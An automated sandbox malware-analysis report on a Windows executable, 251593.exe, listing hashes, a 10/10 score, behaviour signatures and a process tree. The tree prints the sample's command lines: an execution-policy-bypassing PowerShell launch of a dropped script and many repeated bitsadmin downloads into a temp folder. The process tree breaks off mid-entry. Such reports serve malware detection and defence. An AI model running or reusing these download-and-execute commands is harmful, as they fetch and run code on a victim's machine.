09baa568f603837557948cc972a127a37081dfbc0ab9bee1d1230a1660202865

Analysis

max time kernel
152s
max time network
158s
platform
windows7_x64
resource
win7-20220414-en
submitted
30-05-2022 17:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

251593.exe
Size

386KB
MD5

8a405c527be3468739c3ae626305ea60
SHA1

6461e343fd6ee5be0a1ce80a933278a1c11c9292
SHA256

580ab691ca271c0c7779a29c3ddd882250bfd763d40c05c9d60809a087cace63
SHA512

79a4823bd6995d9d6868bed2dbdfd324a3ca7af1e1aa4696255602f20df90258e7693c0292c579aa5a8e903d0504f6edd64c06ab868c621997217d20b038ef72

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://chocolatey.org/7za.exe

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	760	powershell.exe
6	760	powershell.exe
10	760	powershell.exe
11	760	powershell.exe
14	760	powershell.exe
15	760	powershell.exe
18	760	powershell.exe
19	760	powershell.exe
22	760	powershell.exe
23	760	powershell.exe
26	760	powershell.exe
27	760	powershell.exe
30	760	powershell.exe
31	760	powershell.exe
34	760	powershell.exe
35	760	powershell.exe
38	760	powershell.exe
39	760	powershell.exe
42	760	powershell.exe
43	760	powershell.exe
46	760	powershell.exe
47	760	powershell.exe
50	760	powershell.exe
51	760	powershell.exe
54	760	powershell.exe
55	760	powershell.exe
58	760	powershell.exe
59	760	powershell.exe
62	760	powershell.exe
63	760	powershell.exe
66	760	powershell.exe
67	760	powershell.exe
70	760	powershell.exe
71	760	powershell.exe
74	760	powershell.exe
75	760	powershell.exe
78	760	powershell.exe
79	760	powershell.exe
82	760	powershell.exe
83	760	powershell.exe
86	760	powershell.exe
87	760	powershell.exe
90	760	powershell.exe
91	760	powershell.exe
94	760	powershell.exe
95	760	powershell.exe
98	760	powershell.exe
99	760	powershell.exe
102	760	powershell.exe
103	760	powershell.exe
106	760	powershell.exe
107	760	powershell.exe
110	760	powershell.exe
111	760	powershell.exe
114	760	powershell.exe
115	760	powershell.exe
118	760	powershell.exe
119	760	powershell.exe
122	760	powershell.exe
123	760	powershell.exe
126	760	powershell.exe
127	760	powershell.exe
130	760	powershell.exe
131	760	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 64 IoCs

dropper

BITS Jobs

T1197

pid	Process
1700	bitsadmin.exe
284	bitsadmin.exe
608	bitsadmin.exe
1584	bitsadmin.exe
1676	bitsadmin.exe
1708	bitsadmin.exe
1920	bitsadmin.exe
1532	bitsadmin.exe
1708	bitsadmin.exe
2028	bitsadmin.exe
1656	bitsadmin.exe
652	bitsadmin.exe
652	bitsadmin.exe
2004	bitsadmin.exe
1868	bitsadmin.exe
1144	bitsadmin.exe
1360	bitsadmin.exe
2016	bitsadmin.exe
1380	bitsadmin.exe
1352	bitsadmin.exe
1508	bitsadmin.exe
1768	bitsadmin.exe
1144	bitsadmin.exe
908	bitsadmin.exe
1380	bitsadmin.exe
1720	bitsadmin.exe
1644	bitsadmin.exe
1984	bitsadmin.exe
808	bitsadmin.exe
2000	bitsadmin.exe
1372	bitsadmin.exe
1656	bitsadmin.exe
1708	bitsadmin.exe
1616	bitsadmin.exe
1632	bitsadmin.exe
632	bitsadmin.exe
1808	bitsadmin.exe
1616	bitsadmin.exe
1832	bitsadmin.exe
1592	bitsadmin.exe
1524	bitsadmin.exe
1260	bitsadmin.exe
1944	bitsadmin.exe
1380	bitsadmin.exe
1932	bitsadmin.exe
1812	bitsadmin.exe
1656	bitsadmin.exe
1756	bitsadmin.exe
1588	bitsadmin.exe
1740	bitsadmin.exe
588	bitsadmin.exe
1868	bitsadmin.exe
1720	bitsadmin.exe
1288	bitsadmin.exe
2020	bitsadmin.exe
1260	bitsadmin.exe
1868	bitsadmin.exe
1616	bitsadmin.exe
1508	bitsadmin.exe
1592	bitsadmin.exe
632	bitsadmin.exe
1760	bitsadmin.exe
1444	bitsadmin.exe
1040	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	760	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 1528	1936	251593.exe	29
PID 1936 wrote to memory of 1528	1936	251593.exe	29
PID 1936 wrote to memory of 1528	1936	251593.exe	29
PID 1936 wrote to memory of 1528	1936	251593.exe	29
PID 1528 wrote to memory of 760	1528	cmd.exe	31
PID 1528 wrote to memory of 760	1528	cmd.exe	31
PID 1528 wrote to memory of 760	1528	cmd.exe	31
PID 1528 wrote to memory of 760	1528	cmd.exe	31
PID 1528 wrote to memory of 1572	1528	cmd.exe	32
PID 1528 wrote to memory of 1572	1528	cmd.exe	32
PID 1528 wrote to memory of 1572	1528	cmd.exe	32
PID 1528 wrote to memory of 1572	1528	cmd.exe	32
PID 760 wrote to memory of 1984	760	powershell.exe	33
PID 760 wrote to memory of 1984	760	powershell.exe	33
PID 760 wrote to memory of 1984	760	powershell.exe	33
PID 760 wrote to memory of 1984	760	powershell.exe	33
PID 1984 wrote to memory of 1808	1984	cmd.exe	35
PID 1984 wrote to memory of 1808	1984	cmd.exe	35
PID 1984 wrote to memory of 1808	1984	cmd.exe	35
PID 1984 wrote to memory of 1808	1984	cmd.exe	35
PID 760 wrote to memory of 1444	760	powershell.exe	36
PID 760 wrote to memory of 1444	760	powershell.exe	36
PID 760 wrote to memory of 1444	760	powershell.exe	36
PID 760 wrote to memory of 1444	760	powershell.exe	36
PID 1444 wrote to memory of 1760	1444	cmd.exe	38
PID 1444 wrote to memory of 1760	1444	cmd.exe	38
PID 1444 wrote to memory of 1760	1444	cmd.exe	38
PID 1444 wrote to memory of 1760	1444	cmd.exe	38
PID 760 wrote to memory of 968	760	powershell.exe	39
PID 760 wrote to memory of 968	760	powershell.exe	39
PID 760 wrote to memory of 968	760	powershell.exe	39
PID 760 wrote to memory of 968	760	powershell.exe	39
PID 968 wrote to memory of 1800	968	cmd.exe	41
PID 968 wrote to memory of 1800	968	cmd.exe	41
PID 968 wrote to memory of 1800	968	cmd.exe	41
PID 968 wrote to memory of 1800	968	cmd.exe	41
PID 760 wrote to memory of 1864	760	powershell.exe	42
PID 760 wrote to memory of 1864	760	powershell.exe	42
PID 760 wrote to memory of 1864	760	powershell.exe	42
PID 760 wrote to memory of 1864	760	powershell.exe	42
PID 1864 wrote to memory of 652	1864	cmd.exe	44
PID 1864 wrote to memory of 652	1864	cmd.exe	44
PID 1864 wrote to memory of 652	1864	cmd.exe	44
PID 1864 wrote to memory of 652	1864	cmd.exe	44
PID 760 wrote to memory of 1784	760	powershell.exe	45
PID 760 wrote to memory of 1784	760	powershell.exe	45
PID 760 wrote to memory of 1784	760	powershell.exe	45
PID 760 wrote to memory of 1784	760	powershell.exe	45
PID 1784 wrote to memory of 1288	1784	cmd.exe	47
PID 1784 wrote to memory of 1288	1784	cmd.exe	47
PID 1784 wrote to memory of 1288	1784	cmd.exe	47
PID 1784 wrote to memory of 1288	1784	cmd.exe	47
PID 760 wrote to memory of 1508	760	powershell.exe	48
PID 760 wrote to memory of 1508	760	powershell.exe	48
PID 760 wrote to memory of 1508	760	powershell.exe	48
PID 760 wrote to memory of 1508	760	powershell.exe	48
PID 1508 wrote to memory of 1944	1508	cmd.exe	50
PID 1508 wrote to memory of 1944	1508	cmd.exe	50
PID 1508 wrote to memory of 1944	1508	cmd.exe	50
PID 1508 wrote to memory of 1944	1508	cmd.exe	50
PID 760 wrote to memory of 992	760	powershell.exe	51
PID 760 wrote to memory of 992	760	powershell.exe	51
PID 760 wrote to memory of 992	760	powershell.exe	51
PID 760 wrote to memory of 992	760	powershell.exe	51

C:\Users\Admin\AppData\Local\Temp\251593.exe
"C:\Users\Admin\AppData\Local\Temp\251593.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -ep Unrestricted -f "C:\ProgramData\a81Pa4oUST.ps1" | find /v "" >> "C:\Users\Admin\AppData\Local\Temp\TVHJCWMH.log"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep Unrestricted -f "C:\ProgramData\a81Pa4oUST.ps1"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1984
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1444
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1760
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:968
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1864
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:652
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1784
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1508
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:992
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:284
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1060
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:908
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:848
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1676
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:652
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1380
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1748
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1444
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1516
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:564
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1616
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1224
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1120
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:652
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1352
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:968
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1744
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:852
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1140
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1680
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1904
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1532
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1784
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:564
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:2020
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1060
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1380
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1556
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:836
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1820
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:284
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1604
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1144
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1640
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1140
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:668
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1776
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:1632
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:880
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1360
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
      4⤵
      PID:832
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wxu3DIg.zip"
        5⤵
        
        PID:1224
  - - C:\Windows\SysWOW64\cmd.exe
